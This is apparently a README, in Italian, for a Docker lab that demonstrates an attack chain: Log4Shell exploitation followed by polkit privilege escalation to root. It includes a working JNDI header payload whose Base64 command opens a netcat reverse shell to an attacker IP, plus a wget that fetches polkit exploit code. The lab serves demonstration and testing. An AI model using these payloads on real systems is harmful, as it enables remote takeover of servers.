
Ambiente vulnerabile per mostrare una catena di attacco di log4j CVE-2021-44228 con escalation dei privilegi a root tramite l'exploit polkit CVE-2021-4034
Istanza vulnerabile per l'exploit di log4j Apache e l'escalation dei privilegi tramite polkit
L'istanza vulnerabile sarà in esecuzione e in ascolto sulla porta 80 (esposta alla macchina host) al termine dei passaggi seguenti. La parte vulnerabile per l'exploit di log4j è l'header X-Api-Version inviato al server.
Docker: log4j-polkit-vulnerable-server
passaggi per scaricare ed eseguire l'immagine docker vulnerabile:
docker pull 0xalwayslucky/log4j-polkit-vulnerable-server
docker run -p 80:8080 0xalwayslucky/log4j-polkit-vulnerable-server
passaggi per creare manualmente un'istanza vulnerabile per log4j + polkit:
Nota: i Dockerfile richiedono che determinate versioni delle applicazioni vulnerabili siano presenti nei repository di ubuntu. Se queste vengono aggiornate e/o rimosse in qualsiasi momento, la creazione dell'immagine docker fallirà. Per risolvere questo problema, un'immagine verrà caricata su docker hub e collegata qui.
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/log4j-polkit-vuln
docker build -t log4j-polkit-vulnerable-server .
docker run -p 80:8080 --hostname victim log4j-polkit-vulnerable-server
Questo simulerà la macchina dell'attaccante, in questo caso presente nella stessa rete (per una facile comunicazione tra i container docker), ma l'exploit funziona indipendentemente da dove si trova questo server di attacco (unica condizione è che sia accessibile dalla vittima). Il server JNDI malevolo sarà ospitato qui e creerà una classe malevola per eseguire comandi arbitrari sulla macchina della vittima.
passaggi per creare una macchina attaccante simulata:
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/attackserver
docker build -t attackserver .
docker run -it --hostname attackserver attackserver /bin/bash
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <ip> -p 8888 & # nel container docker
comandi dal video PoC
Nota: l'indirizzo IP dell'attackserver potrebbe variare
# Exploit Log4j
curl http://localhost -H 'X-Api-Version: ${jndi:ldap://172.17.0.3:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMyA0NDQ0IC1lIC9iaW4vYmFzaA==}'
# Exploit Polkit
wget https://raw.githubusercontent.com/afwu/CVE-2021-4035/main/cve-2021-4034-poc.c